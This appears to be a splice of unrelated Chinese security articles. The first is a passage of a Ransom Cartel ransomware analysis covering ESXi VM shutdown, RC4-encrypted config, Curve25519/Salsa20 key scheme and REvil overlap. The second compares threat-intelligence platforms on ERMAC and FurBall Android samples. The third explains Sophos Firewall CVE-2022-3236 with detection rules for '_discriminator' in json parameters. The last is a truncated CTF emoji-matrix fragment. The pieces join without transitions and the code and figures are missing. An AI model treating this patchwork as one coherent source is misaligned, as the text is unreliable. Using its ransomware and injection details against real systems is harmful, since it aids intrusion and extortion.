據觀察,該攻擊者正在下載並使用一種名為PDQ Inventory的合法工具的破解版本。 PDQ Inventory是一種合法的系統管理解決方案,IT管理員可以使用它掃描他們的網絡,收集硬件、軟件和Windows配置數據。 Ransom Cartel利用它作為遠程訪問工具,建立交互式命令和控制通道,並掃描受感染的網絡。

一旦VMware ESXi服務器被破壞,攻擊者將啟動加密器,它將自動枚舉正在運行的虛擬機(vm),並使用esxcli命令關閉它們。通過終止虛擬機進程,可以確保勒索軟件能夠成功加密vmware相關文件。

在加密過程中,Ransom Cartel專門尋找具有以下文件擴展名的文件:log,vmdk,vmem,vswp和.vmsn。這些擴展與ESXi快照、日誌文件、交換文件、分頁文件和虛擬磁盤相關聯。加密後,觀察到以下文件擴展名:zmi5z,nwixz,ext,zje2m,5vm8t和.m4tzt。

勒索通知unit42觀察到Ransom Cartel發送的兩種不同版本的勒索通知。第一個勒索通知最早是在2022年1月周圍觀察到的,另一個勒索通知是在2022年8月首次出現的。第二個版本似乎被完全重寫了,如圖1所示。

1.png

Ransom Cartel勒索通知,左邊的是在2022年1月中首次觀察到的,右邊的是在2022年8月中首次觀察到的

有趣的是,Ransom Cartel使用的第一個勒索通知的結構與REvil發送的勒索通知具有相似之處,如下圖所示。除了使用類似的措辭外,兩個註釋都對UID採用了相同格式的16字節十六進製字符串。

2.png

左側顯示的Ransom Cartel勒索通知,而右邊顯示的是REvil發送的勒索通知

Ransom Cartel TOR網站Ransom Cartel與受害者溝通的網站可通過贖金說明中提供的TOR鏈接獲得。我們已經觀察到屬於Ransom Cartel的多個TOR url,這可能表明他們一直在改變基礎設施並積極開發其網站。訪問網站需要一個TOR私鑰。

輸入密鑰時,將加載以下頁面:

3.png

Ransom CartelTOR網站登陸頁面

通過授權按鈕進入TOR網站後,會出現一個屏幕,要求輸入贖金通知中包含的詳細信息。

4.png

Ransom Cartel網站,要求在贖金通知中提供的ID和密鑰

在TOR網站上完成授權後,將出現下圖所示的頁面。該網站包括美元和比特幣的贖金需求以及比特幣錢包地址等詳細信息。

5.png

Ransom CartelTOR網站

技術細節在此分析中使用了兩個Ransom Cartel樣本:

16.png

兩個樣本都包含三種輸出:

17.png

如果不指定導出而執行DLL,則示例還包含一個DllEntryPoint。 DllEntryPoint指向一個函數,該函數在對Curve25519 Donna算法的調用上迭代24次。迭代結束後,示例將查詢系統指標,特別是SM_CLEANBOOT值。如果這個值不是0,勒索軟件將繼續通過rundll32.exe生成自己的另一個實例,並指定Rathbuige導出。

8.png

SM_CLEANBOOT值

Rathbuige導出從創建以下互斥鎖開始:

9.png

創建互斥鎖後,示例開始解密並解析其嵌入式配置。該配置存儲為一個base64編碼的blob,其中base64編碼的blob的前16個字節是RC4密鑰,用於在解碼後解密blob的其餘部分。

10.png

Ransom Cartel加密配置

一旦解密,該配置將以JSON格式存儲,並包含諸如加密文件擴展名、攻擊者的公共Curve25519-donna密鑰、base64編碼的贖金通知以及加密前要終止的進程和服務列表等信息。

11.png

解密Ransom Cartel配置示例

配置中的對應值如下:

12.png

配置結構

13.png

有針對性的進程列表

14.png

有針對性的服務列表

15.png

避免擴展

解密配置後,將收集某些系統信息,包括用戶名,計算機名稱,域名,區域設置和產品名稱。然後將此信息格式化為以下JSON結構:

16.png

結構內每個項的作用

17.png

硬編碼JSON格式項和值

一旦收集到的數據被格式化為JSON結構,它將使用與Ransom Cartel生成session_secret blob相同的過程進行加密,稍後將討論這個過程。簡而言之,它涉及AES加密,對AES密鑰使用Curve25519共享密鑰的SHA3哈希。

一旦加密,它被寫入註冊表項SOFTWARE\\Google_Authenticator\\b52dKMhj,如果沒有正確的權限,示例首先嘗試寫入HKEY_LOCAL_MACHINE配置單元,然後寫入HKEY_CURRENT_USER。將數據寫入註冊表後,它將被base64編碼並嵌入到贖金通知中,取代{KEY}佔位符。

一旦配置被解析並存儲在註冊表中,就會解析提供給勒索軟件的命令行。總共有5個可能的參數,如下表所示。

18.png

接下來,讓我們繼續分析會話秘密生成過程。

Ransom Cartel首先檢查註冊表是否已經包含先前生成的值; 如果是這樣,它將把這些值讀入內存。否則,它將在運行時總共生成兩個會話秘密,每個秘密包含88個字節的數據。

首先,將使用此Curve25519存儲庫(session_public_1和session_private_1) 中的代碼生成公鑰和私鑰對。當生成第一個會話秘密時,會生成另一個會話密鑰對(session_public_2和session_private_2),並且session_private_2與attacker_cfg_public (配置中嵌入的公鑰) 配對以生成共享密鑰。然後使用SHA3哈希算法對該共享密鑰進行哈希處理。生成的哈希用作具有隨機16字節初始化向量(IV) 的AES密鑰,用於加密由四個空字節組成的後跟session_private_1的數據blob。

19.png

會話秘密生成過程示意圖

現在,使用CRC-32哈希加密blob,然後附加有session_public_2、AES IV和計算的CRC-32哈希的值。結果值為session_secret_1。第二個生成的會話秘密遵循完全相同的過程。但是,它沒有使用attacker_cfg_public,而是利用二進製文件中的嵌入式公鑰(attacker_embedded_public_1) 來生成共享密鑰。

20.png

反編譯會話秘密生成過程

最後一個嵌入式公鑰(attacker_embedded_public_2) 用於加密格式化為上述JSON結構的數據。

早在2020年,Amossys的研究人員就記錄了這種生成會話秘密的方法,然而,他們的分析集中在Sodinokibi/REvil勒索軟件的更新版本上,表明REvil源代碼和最新的Ransom Cartel樣本之間有直接重疊。

一旦生成了會話秘密,它們就會與session_public_1和attacker_cfg_public一起寫入註冊表。

21.png

Ransom Cartel使用的註冊表路徑和值

此時,將收集並生成所有所需的信息,以便開始文件加密。

對於每個文件,生成唯一的文件公鑰和私鑰對(file_public_1和file_private_1),再次使用Curve25519 Donna. file_private_1和session_public_1配對在一起以生成共享密鑰,該共享密鑰使用sha3進行哈希處理。生成的哈希用作Salsa20 (一種對稱加密算法) 的加密密鑰,並使用CryptGenRandom生成隨機的八字節隨機數。計算file_public_1的CRC-32哈希,然後使用生成的Salsa20矩陣對四個空字節進行加密。

然後保留上述數據的某些元素,並將其用作加密文件頁腳的一部分,每個文件頁腳的長度為232字節,由以下部分組成:

22.png

與session_secret生成類似,該結構與Amossys分析的REvil樣本的結構相同,進一步表明在開發Ransom Cartel樣本時,對REvil源代碼的更改很少。

23.png

文件加密設置過程

Ransom Cartel和REvil代碼比較Ransom Cartel的樣本分析顯示了與REvil勒索軟件的相似之處。

Ransom Cartel和REvil之間的第一個值得注意的相似之處是配置的結構。檢查2019年的REvil樣本(SHA256: 6a2bd52a5d68a7250d1de481dcce91a32f54824c1c540f0a040d05f757220cd3),可以看到相似性。然而,加密配置的存儲略有不同,選擇將配置存儲在二進製文件(.ycpc19)的單獨部分中,初始的32字節RC4密鑰後面是原始加密配置,而對於Ransom Cartel示例,配置作為base64編碼的blob存儲在.data部分中。

24.png

REvil配置存儲

一旦REvil配置被解密,它將使用相同的JSON格式,但包含額外的值,如pid、sub、fast、wipe和dmn。這些值表示REvil示例中的附加功能,這可能意味著要么是Ransom Cartel的開發人員刪除了某些功能,要么是他們在REvil的較早版本之上構建。

前言本文主要以各家威脅情報中心/在線沙箱在安卓惡意代碼自動化分析能力與基於逆向引擎Reactor 所研發incinerator 逆向工具進行分析能力的對比,從而讓大家更加清晰直觀的了解到彼此之間的區別,文章所測試的威脅情報中心均為公開版本(免費),並不代表各個能力平台的實際狀態,不以偏概全。

測試平台列表如下:

360 威脅情報中心(包括其沙箱)

安恒威脅分析平台(包括其沙箱)

安天威脅情報中心

綠盟科技NTI 威脅情報中心(包括其沙箱)

啟明星辰VenusEye 威脅情報中心

奇安信威脅情報中心(包括其沙箱)

天際網盟RedQueen 安全智能服務平台

微步在線惡意軟件分析平台(包括其沙箱)

VirusTotal(包括其沙箱)

測試惡意代碼樣本如下:

樣本名稱:ERMAC

哈希值

MD5:16e991d73049f1ef5b8f5fa0c075ef05

SHA-256:f4ebdcef8643dbffe8de312cb47c1f94118e6481a4faf4166badfd98a0a9c5d3

ERMAC 是由BlackRock 移動惡意軟件背後的攻擊者操作的。 8 月17 日,名為“ermac”和“DukeEugene”的論壇成員開始宣傳該惡意軟件。 ERMAC 和其他銀行惡意軟件一樣,被設計用來竊取聯繫信息、短信、打開任意應用程序,並觸發針對大量金融應用程序的覆蓋攻擊,以刷取登錄憑據。此外,它還開發了新功能,允許惡意軟件清除特定應用程序的緩存並竊取存儲在設備上的帳戶。

摘自安恒威脅情報平台

樣本名稱:FurBall

哈希值

MD5:6151b1e2e5035a8eb596ce1c37565e87

SHA-256:0d09d5e46e779d796a8d295043e5bbd90ac43705fa7ff7953faa5d8370840f93

Domestic Kitten,也稱APT-C-50,據稱是伊朗的一個黑客組織,主要是從受損的移動設備獲取敏感信息,至少從2016 年起,就一直非常活躍。 趨勢科技(Trend Micro)在2019 年一項分析報告中表示,APT-C-50 可能與另一個名為“彈跳高爾夫”(Bouncing Golf)的黑客組織有聯繫。 (Bouncing Golf 主要針對中東國家進行網絡間諜活動)。

摘自Freebuf

橫向分析對比本文將會從安卓惡意代碼分析的多個維度進行相關分析對比,鑑於部分平台不存在基於安卓的雲沙箱功能(或併未在公開/免費版本出現),所以對比的結果基於各個平台呈現的相關靜態化分析數據進行橫向對比。而LianSecurity(鏈安科技)的incinerator 作為一個綜合性Apk 逆向工程產品,並不帶有任何基於惡意代碼特徵庫、威脅情報源、沙箱等功能,所以橫向分析對比內容僅僅基於incinerator 的Apk 靜態分析能力。

鑑於我們在進行相關能力對比的時候,要有一個比較具象化的理解,究竟什麼叫好呢?或者說什麼樣的分析能力所呈現出來的分析報告會更加適合惡意代碼和威脅溯源的研究之用呢?所以我們選擇了一個比較得到大家公認的“VirusTotal”,以VirusTotal 的分析報告來看各自在安卓惡意代碼分析上面的細節以及顆粒度究竟是如何的。

VT.png

圖1

從兩個樣本的靜態化分析結果來看(如圖1 左右所示),VT 對於Apk 各項信息的檢測以及呈現都是非常完善的,能夠準確的分析出樣本當中的所有關鍵信息,作為惡意代碼分析以及威脅溯源的角度來說,首先,一個專業的分析服務能夠精準詳細的把以下羅列清楚的情況下,我認為這已經是一份優秀的分析報告。

Apk 基礎信息

HASH

TrID

文件大小等

Apk 包名以及相關的信息

Apk 名稱

Apk 簽名信息

Apk 應用權限分析

風險等級劃分以及排列

Apk 行為分析

Apk 應用網絡請求

Apk 軟件成分分析

所以,接下來我們會以VT 的報告所呈現的,一一對於上面所提到的廠商進行分析能力的橫向對比,從而深度的去了解現在國內在這方面的發展以及相關技術是如何的。

360 威脅情報中心c00ad03bc0eda1664d568e8baf2f1ce5

圖2

很可惜,我們從樣本1 與樣本2(如圖2 上下所示)的分析內容我們可以得知,360 的分析報告裡面只顯示樣本的HASH、包名以及對應的IOC 信息,而對於樣本的應用行為、應用權限、網絡請求、成分分析都沒有,並且動態分析也完全沒有的,對於惡意代碼以及威脅情報研究來說,360 威脅情報中心的呈現幾乎沒有什麼幫助的。

注:360 安全大腦沙箱雲檢測失敗,Android 部分需要相關的積分以及收費,所以就此作罷。

安恒威脅分析平台

:51ddad030efac39e354040cdbf138cd4

圖3

安恆在兩個樣本的分析上(如圖3 上下所示),與360 一樣能夠準確判斷出樣本的家族以及相關的歸屬,並且安恆在基礎信息方面增加了關於樣本的Hexdump,使得樣本基礎信息部分看似很豐滿,但是作為靜態分析結果來講,Hexdump 既不是一個總結性的結果呈現,也不能給分析人員任何定性的信息,不應該呈現在這裡。可能是因為免費/公開版本,動態分析部分並沒有任何的資料,但依然是基於惡意代碼以及威脅情報研究來說幫助微乎其微的,和360 所呈現的信息基本相同。

安天威脅情報中心5ce0891288b4e9a0087d778ecacc819d

圖4

我們所抽樣的樣本哈希提交到安天威脅情報中心後(如圖4 所示),顯示的檢測結果是為空。所以也無法對於安天威脅情報中心的安卓分析能力進行任何的對比分析了,估計是安天威脅情報中心沒有樣本數據,但是武漢安天的殺毒引擎是可以正確識別出樣本為惡意代碼的。

綠盟NTI - 威脅情報中心437a8adb7bccf10c616e4c348a8b21cd

圖5

綠盟科技NTI-威脅情報中心在基於ERMAC 樣本分析能夠顯示對應的HASH 信息(如圖5 所示),除此以外什麼都沒有了,而基於APT-C50 的樣本分析是並沒有任何數據顯示的,與安天威脅情報中心一樣,應該是他們沒有對應的樣本記錄,當我們改為威脅分析中心並提交樣本進行分析後,看到分析中心對於兩個樣本都進行有效的檢測,其中哈希值為“16e991d73049f1ef5b8f5fa0c075ef05”的樣本呈現出相關的基礎信息(樣本哈希、元數據)並沒有任何靜態分析報告,而哈希值為“6151b1e2e5035a8eb596ce1c37565e87”的樣本,基礎信息呈現上比較簡單,殺毒引擎檢測沒有結果、分析結果採用的是綠盟自己的檢測策略,與常見的檢測呈現不一樣,比較雜亂,所以需要一定學習才可以比較明白。

VenusEye 威脅情報中心cd444bd07ed693df69963af82fc8958c

圖6

VenusEye 基於樣本1(如圖6 上所示)的基礎信息呈現較為完整,也是屬於比較弱化的,沒有任何靜態化分析可言,而基於樣本2(如圖6 下所示)來說,VenusEye 並沒有對應的數據。

奇安信威脅情報中心f4c64f95543f1d918c18cfb3f9f35296

圖7

國內這麼多家威脅情報中心或者沙箱檢測的細節程度來說,從樣本2(如圖7 下所示)的威脅研判分析來看,因為有了沙箱檢測的完整補充,使得整體的分析詳細程度非常完整,奇安信無疑是國內廠商提供公開可以查閱的威脅情報中心/沙箱的天花板,而樣本1(如圖7 上所示)的分析來看,我們提交測試很多次,不管是以登陸/非登陸狀態下,沙箱檢測永遠都是檢測中的狀態,不知道是不是出現卡死的情況,所以樣本1 從純靜態化的狀態與其他廠商並無太大的區別。

天際網盟RedQueen 89b6c3b8317556ccd76baffca6a3eb53

圖8

天際網盟RedQueen 基於樣本1(如圖8 所示)的哈希值並無數據,並且無法上傳樣本進行測試,而基於樣本2 的哈希值查詢後,發現有相關數據記錄,基礎信息與其廠商大同小異,而其餘的信息並無。

微步在線惡意軟件分析平台28c784351bf7026820bf9f27062b1ca7

圖9

在眾多國內威脅情報中心/沙箱的廠商裡面,微步在線曾經是唯一一家能夠準確識別出樣本1(如圖9 左所示)該惡意代碼的家族,但是當我重跑多次樣本1 去獲取最新檢測報告之後,它的家族檢測就開始改變了,這個讓我覺得疑惑的,並且從檢測報告來看(如圖9 右所示),檢測的邏輯問題也很多,例如:

沙箱環境是Win7+Office2013

多維檢測與檢測樣本無關

多引擎檢測結果不准確

當我在上傳樣本進行檢測時,上傳的文件格式並沒有Apk 可選,所以只能夠以其識別的壓縮文件格式進行上傳,並且沙箱的環境注定了對於安卓應用是無法解釋的,而在基於沙箱環境下的多維檢測Sigma 規則是完完全全的誤報,在多引擎檢測結果裡面,微步在線顯示“基於2022-10-29 19:36:04 的時間狀態下,只有三個殺毒引擎發現該樣本為惡意代碼”,但是從多方數據來看,微步在線所顯示並未檢測惡意代碼的引擎當中,早已可識別樣本1 為惡意代碼,例如卡巴斯基之類、小紅傘、DrWeb。

而從樣本基礎信息的數據來看,在沒有任何的沙箱檢測下,微步在線的檢測結果比起奇安信的要好,樣本的基礎信息、元數據、權限分析之類的都是有的,但是對於需要看著報告的研究人員來說,報告很明顯在呈現上並沒有考慮太多這種需求,特別是如果在沒有IOC、殺毒引擎之類的輔助數據支撐下,不管是流行的ERMAC 還是隱秘性更高的APT 樣本都會出現很嚴重的漏報的情況出現。

基於incinerator 的Apk 基礎檢測能力incinerator 作為一款國產自主的安卓Apk 逆向工具分析工具,用來與威脅情報、惡意代碼分析平台或者動態沙箱進行對比,在任何人眼中看起來都很好笑,而我們要對比的僅僅是incinerator 在Apk 分析時,呈現給用戶的基礎信息(如圖10 所示),當我們要進行Apk 分析的時候,incinerator 會通過自主研發的高效準確的逆向技術,首先會對Apk 進行全面基礎分析,分析結果包含了包名、HASH、簽名等基礎信息(如圖11 所示),再通過靜態單賦值與交叉引用結合找出全流程執行路徑, 並對應用行為進行源碼級深度檢測,以及權限進行分類標註,突出強調高危和敏感權限,檢查應用內網絡請求以及目標地址特徵信息, 抽取依賴庫指紋信息分析軟件成分組成。

Apk 基礎信息呈現

92e9ad4d434f4597e5360b25e7578d07

圖10

簽名信息

634a49f3b0bf609d049690bbc3bfaf6b

圖11

權限信息

d529e3328c3f5a93f7ca960a8775ba7d

圖12

上圖是樣本1 ERMAC 中抽取的部分權限信息(如圖12 所示),可以看到incinerator 對權限進行了詳細的檢測以及分類,對於Apk 進行申請“短信發送”、“撥打電話”等權限聲明都標註了高危。

注:在Android 官方文檔中,“短信發送”以及“撥打電話”是被標註為危險權限*

行為分析

d7ff8313783684fb61294159cd7b0f62

圖13

c8845076a815c05af257d1298658b412

圖14

Incinerator 對Apk 行為分析有多個分類,如下(如圖13-14 所示):

加密安全

主要是檢測採用的加密的方式是否正確、是否有採用不夠安全的配置,導致加密失效或者容易被破解等。

應用安全

查看當前應用是否有安全風險,包括是否有日誌洩露、是否動態加載Dex、是否使用高危函數等。

組件安全

動態註冊Receiver 危險、Fragment 注入、組件導出風險、Intent 隱式調用風險、Intent 調用反射風險等。

數據安全

外部存儲風險、剪貼板洩露、應用數據備份風險等。

隱私安全

應用是否有使用錄音、撥打電話、攝像頭、地理位置、電話監聽、發短信等行為。這裡會結合權限申請情況給出最終結果,如果有敏感API 調用,但是沒有申請權限,則報告中不會指出,因為調用不會成功的。防止誤報給用戶造成困擾。

WebView 安全

WebView 任意代碼執行漏洞、WebView 啟用Javascript 風險、WebView 明文存儲密碼等風險。

通訊安全

未驗證CA 證書、HTTP 協議傳輸、Webview 忽略證書、端口開放檢測等。

當檢測出相關問題時,incinerator 會按照嚴重程度進行分類排列、給予對應的安全建議,並且定位到反編譯後具體代碼位置。

軟件成分分析

樣本1 ERMAC 因並未檢測出有依賴SDK 調用,故此下圖為樣本2 FurBall 的SCA 分析結果(如圖15 所示),incinerator 在軟件成分分析檢測時,發現樣本2 有相關的SDK 依賴,從信息的呈現上可以得知SDK 具體的版本號以及名稱。 incinerator 會結合公開的CVE 信息,去查詢依賴SDK 是否存在公開漏洞信息,並且會在報告中顯示。

b70ff3d453097397611218eeaafdef6c

圖15

通過對內置代碼進行深度掃描,抽取硬編碼的URL、郵箱地址、IP 等信息(如圖16 所示)。

49a7b2d3138722a6baac508981492ffc

圖16

同時結合我們自身的Whois、IP 數據庫進行查詢,對所獲取到的域名和IP 進行詳細的信息呈現(如圖17 所示)。

fab0744f3c9573e69be238742e908bc7

圖17

綜上所述,我們可以看到incinerator 對於Apk 的基礎信息檢測部分輸出較國內威脅情報平台更為全面,與VT 的對比來看,incinerator 基礎信息在HASH、TrID 等信息有所欠缺。以國內和國外的整體分析報告來看,incinerator 在沒有沙箱動態檢測,缺少敏感行為的強制調用結果下,但由於incinerator 的多維度基礎信息檢測手段,僅僅以這基礎信息檢測所羅列出來的信息完整度以及深度足以優於這一次對比的所有平台。

image.png

參考來源:

惡意代碼樣本

https://bazaar.abuse.ch/sample/f4ebdcef8643dbffe8de312cb47c1f94118e6481a4faf4166badfd98a0a9c5d3/#iocs

【安全資訊】ERMAC 新型Android 銀行木馬分析https://ti.dbappsecurity.com.cn/info/2560

360 引用地址1:

https://ti.360.net/#/detailpage/searchresult?query=16e991d73049f1ef5b8f5fa0c075ef05rand=0.8184840901507511

360 引用地址2:

https://ti.360.net/#/detailpage/searchresult?query=6151b1e2e5035a8eb596ce1c37565e87rand=0.46923541160428095

安恆引用地址1:

https://ti.dbappsecurity.com.cn/hash/16e991d73049f1ef5b8f5fa0c075ef05/

安恆引用地址2:

https://ti.dbappsecurity.com.cn/hash/6151b1e2e5035a8eb596ce1c37565e87/

安天引用地址1:

https://www.antiycloud.com/#/search/hash?type=hashkey=16e991d73049f1ef5b8f5fa0c075ef05

安天引用地址2:

https://www.antiycloud.com/#/search/hash?type=hashkey=6151b1e2e5035a8eb596ce1c37565e87

綠盟引用地址1:

https://ti.nsfocus.com/file?query=16e991d73049f1ef5b8f5fa0c075ef05

綠盟引用地址2:

https://ti.nsfocus.com/file?query=6151b1e2e5035a8eb596ce1c37565e87

綠盟引用地址3:

https://poma.nsfocus.com/report?md5=16e991d73049f1ef5b8f5fa0c075ef05

綠盟引用地址4:

https://poma.nsfocus.com/v4/report?md5=6151b1e2e5035a8eb596ce1c37565e87

奇安信引用地址1:

https://ti.qianxin.com/v2/search?type=filevalue=16e991d73049f1ef5b8f5fa0c075ef05

奇安信引用地址2:

https://ti.qianxin.com/v2/search?type=filevalue=6151b1e2e5035a8eb596ce1c37565e87

微步在線引用地址1:https://s.threatbook.com/report/file/f4ebdcef8643dbffe8de312cb47c1f94118e6481a4faf4166badfd98a0a9c5d3

微步在線引用地址2:https://s.threatbook.com/report/file/0d09d5e46e779d796a8d295043e5bbd90ac43705fa7ff7953faa5d8370840f93

VirusTotal 引用地址1:

https://www.virustotal.com/gui/file/f4ebdcef8643dbffe8de312cb47c1f94118e6481a4faf4166badfd98a0a9c5d3/details

VirusTotal 引用地址2:https://www.virustotal.com/gui/file/0d09d5e46e779d796a8d295043e5bbd90ac43705fa7ff7953faa5d8370840f93/details

源地

在趨勢科技最近發布的漏洞報告中,研究團隊的Guy Lederfein和Dusan Stevanovic詳細介紹了Sophos防火牆最近打過補丁的代碼注入漏洞。該漏洞是由於對發送到Controller終端的“JSON”參數中提交的JSON key進行了不正確的驗證。成功利用此漏洞可能導致以根用戶的權限執行遠程代碼。以下是關於CVE-2022-3236的介紹。

Sophos最近修復了Sophos Firewall v19.0 MR1(19.0.1)及以前版本中的代碼注入漏洞。此漏洞是由於對發送到Controller終端的“JSON”參數中提交的JSON key進行了不正確的驗證。未經身份驗證的遠程攻擊者可以通過向受影響的服務器發送精心編寫的請求來利用此漏洞。成功利用此漏洞可能導致使用根用戶的權限進行遠程代碼執行。

漏洞利用Sophos Firewall是一種網絡安全解決方案,它可以部署在專門構建的設備、云網絡(AWS/Azure)、虛擬設備或x86 Intel硬件上的軟件設備上。防火牆應用支持多種網絡安全特性,包括應用感知路由、TLS檢測、深層包檢測、遠程接入VPN、日誌、報表等。 Sophos Firewall公開了一個web管理控制台,用於通過TCP端口4444上的HTTPS管理設備的配置。此外,Sophos Firewall公開了一個用戶門戶,用於更新用戶的詳細信息或通過TCP端口443上的HTTPS下載身份驗證客戶端。

HTTP是RFC 7230-7237和其他RFC中描述的請求/響應協議。客戶端向服務器發送請求,服務器又將響應發送回客戶端。 HTTP請求由請求行、各種標題、空行和可選消息正文組成:

其中CRLF表示新行序列回車(CR),後跟換行(LF)。根據使用的方法和Content-Type標頭,參數可以在RequestURI或消息正文中作為名稱-值對從客戶端傳遞到服務器。例如,使用GET方法傳遞一個名為“param”、值為“1”的參數的簡單HTTP請求可能如下所示:

使用POST方法的相應HTTP請求可能如下所示:

JavaScript對象表示法(JSON)是一種數據交換格式,用於創建設備可解析、人類可讀的輸出。 JSON對象具有以下語法:

1.對像用花括號{}括起來。

2.對象由逗號(“,”)字符分隔的零個或多個項目組成。

3.項目由秘鑰和值組成。秘鑰的值由冒號(“:”)字符分隔。

4.秘鑰必須是用引號括起來的字符串。

5.值必須是有效的類型。 JSON定義了7種值類型:字符串、數字、對象、數組、true、false和null。

6.數組是用方括號[]括起來的對象。

7.數組由零個或多個字符串、數字、JSON對象、數組、布爾值或由逗號(“,”)字符分隔的空類型對象組成。

JSON對象示例如下: {“name”:”bob”, “age”:30}。

由Sophos Firewall公開的web管理和用戶門戶web界面都運行在Apache httpd服務器後面的Jetty服務器上。通過這些接口發出的配置和診斷請求通過請求提交給Controller servlet。這個servlet基於模式HTTP請求參數檢索適當的EventBean對象。例如,如果模式HTTP請求參數設置為151或451,則分別調用WebAdminAuth或UserPortalAuth類來處理請求。在每個類中,都會調用CSCClient類的generateAndSendAjaxEvent()方法。

該方法解析json HTTP請求參數,並修改解析對像中的特定字段。然後調用send()方法,該方法反過來調用_send(),後者根據相關EventBean對象的模式添加模式JSON參數。然後,它將創建的JSON對像作為字符串(包括適當的標頭)通過TCP或UDP端口299發送到本地CSC服務器。

當CSC服務器接收到Jetty服務器提交的JSON對象時,它會驗證通過Perl腳本CyberAPIArch.pm中的validateJSON()方法提交的JSON對象。如果JSON對象包含一個名為_discriminator的項,則調用getValidationHash()方法。該方法遍歷_discriminator Perl哈希的每個秘鑰,表示字段名。每個字段名都與一個描述字段值和對象名之間映射的JSON對象相關聯。解析收到的JSON對象時解析的一些Perl對象(natrule、securitypolicy、hotspot等)包含一個帶有_discriminator項的模板,其中包含字段值及其關聯對象之間特定字段名的映射。該方法遍歷字段值,以檢查提交的JSON對像是否包含具有引用名稱和值的字段。如果是,它將檢索關聯的對象名,並嘗試使用eval函數將其解析為一個對象。

Sophos防火牆存在代碼注入漏洞,此漏洞是由於對發送到Controller終端的“JSON”參數中提交的JSON key進行了不正確的驗證。可以在HTTP請求中設置_discriminator項,經過一些修改後,這個JSON對像被發送到CSC服務器。但是,_discriminator項目集是未經修改發送的。一旦使用Perl腳本CyberAPIArch.pm的validateJSON() 方法被調用時,它將檢測這個項並調用getValidationHash()。 Perl方法遍歷$hashObj哈希對象,該對象包含一個名為_discriminator的項,其值是一個嵌套的哈希,其中的值項設置為發送的原始請求中的_discriminator項的值。

此值項被視為包含映射到對象名稱的字段值的嵌套哈希。因此,如果最初提交的JSON對象包含一個名為value的項,其值設置為這個嵌套哈希中的一個值,則將使用eval函數解析關聯的對象名稱。由於原始請求中的_discriminator項可以設置為帶有值和對象名稱之間的任意映射的JSON對象,因此可以提交惡意對象並將其連接到eval函數中,從而導致代碼注入。

Sophos嘗試使用RequestCheckFilter Java對像對請求參數(包括JSON對象)執行輸入驗證。該過濾器檢測帶有非ASCII可打印字符的請求參數和JSON key。但是,仍然可以提交包含ASCII可打印字符的任意請求參數和JSON key,包括_discriminator項。

未經身份驗證的遠程攻擊者可以通過向目標服務器發送精心編寫的請求來利用此漏洞。成功利用此漏洞可能導致在服務器上運行任意Perl命令,從而導致以root用戶的權限執行遠程代碼。

源代碼下面的代碼片段摘自Sophos Firewall 19.0.1版本,並由趨勢科技添加了額外的註釋。

來自反編譯的Java類cyberoam.sessionmanagement.RequestCheckFilter:

來自Perl腳本CyberAPIArch.pm:

檢測攻擊為了檢測試圖利用該漏洞的攻擊,檢測設備必須監視並解析端口443/TCP和4444/TCP上的流量。請注意,流量是用SSL/TLS加密的。在繼續進行下一步驟之前,檢測設備必須對流量進行解密。

基於被監視的TCP端口,檢測設備必須對包含以下字符串的Request- URI的HTTP GET和POST請求進行檢測:

對Webadmin Controller終端(TCP端口4444)的請求可以使用多部分/表單數據編碼。

Multipart/form-data 由多個部分組成,每個部分都包含一個Content Disposition標頭。每個部分由一串字符分隔。分隔部分的字符串由Content-Type標題行上的boundary關鍵字定義,它被設置為' multipart/form-data '。 Content-Disposition標頭包含一個名稱參數,描述要返回的表單元素。每個部分中可能會出現額外的標題行。每一行由一個新的行序列分隔。標頭文件以兩個連續的新行結束。下面是表單元素的數據,如果對像被分離並存儲在一個單獨的文件中,則filename參數提供要使用的建議文件名。下面是一個文件項的Content-Disposition標頭示例,其中boundary關鍵字是' TMSR ':

如果發現對上述終端的請求,檢測設備必鬚根據Content-Type標頭中描述的編碼解析其參數,並蒐索json參數。如果發現,檢測設備必須使用以下任何合適的方法檢查json參數值。

方法1:如果檢測設備能夠解析JSON,它必須將JSON參數解析為JSON對象。檢測設備必須解析密鑰為字符串“_discriminator”的任何項(可能嵌套)。如果被發現,應該認為該流量是惡意的,因為利用該漏洞的攻擊很可能正在進行中。

方法2:如果檢測設備不具備解析JSON的能力,則必須將JSON參數作為字符串進行檢查,並檢查其是否包含字符串“_discriminator”。如果被發現,應該認為該流量是惡意的,因為利用該漏洞的攻擊很可能正在進行中。

需要注意的其他事項:

1.參數名稱和值可能是URL編碼的,必須在應用上述檢測之前進行解碼;

2.URI和參數名稱(“json”)和值(“_discriminator”)的字符串匹配必須以區分大小寫的方式執行;

3.HTTP標頭名稱(即“Content-Type”)和值(即“multipart/form data”)的字符串匹配必須以不區分大小寫的方式執行。

Re 

Emoji Connect

是Excel的插件,开始玩之后会初始化一个4848的矩阵,每个格子里有一个emoji,然后每次点击两个格子,如果两个格子里的emoji相同,就会消除这两个格子。一开始以为是消星星一类的三个格子的消除,但看game的逻辑每次只替换两个,所以确实是连连看。然后flag的逻辑就是每次消除的时候减去格子的 行列,下标是用神奇的方法从unicode转过去的,我这里直接用矩阵里emoji的最小值做下标偏移了

dat = '''😈 😑  😔  😎  😌  😆  😤  😮  😮  😟  😪  😂  😢  😐  😩  😙  😭  😎  😬  😅  😉  😦  😛  😥  😜  😤  😑  😨  😝  😗  😛  😁  😑  😏  😜  😠  😤  😋  😀  😁  😅  😖  😑  😡  😒  😇  😄  😛
😊 😈 😂 😘 😬 😩 😥 😬 😈 😫 😅 😊 😒 😦 😑 😅 😙 😔 😟 😩 😬 😐 😑 😮 😔 😥 😧 😖 😇 😦 😉 😈 😘 😯 😣 😉 😓 😞 😃 😌 😨 😖 😮 😙 😙 😫 😋 😣
😜 😉 😇 😮 😝 😞 😒 😪 😂 😬 😯 😃 😄 😘 😪 😛 😤 😑 😦 😯 😗 😋 😡 😤 😊 😨 😉 😬 😍 😏 😨 😔 😝 😀 😡 😝 😅 😧 😋 😔 😨 😗 😍 😨 😝 😈 😫 😤
😍 😍 😌 😅 😫 😏 😫 😗 😢 😇 😃 😍 😮 😃 😋 😮 😢 😦 😭 😢 😢 😔 😧 😥 😢 😁 😠 😀 😙 😅 😑 😕 😌 😊 😞 😕 😑 😡 😔 😘 😙 😂 😝 😬 😜 😕 😌 😞
😓 😖 😏 😑 😇 😦 😯 😊 😕 😃 😬 😏 😉 😯 😦 😩 😊 😛 😟 😨 😛 😥 😗 😄 😊 😀 😉 😇 😧 😅 😨 😚 😖 😑 😅 😚 😄 😅 😃 😤 😒 😉 😌 😭 😘 😊 😅 😄
😎 😆 😁 😯 😟 😌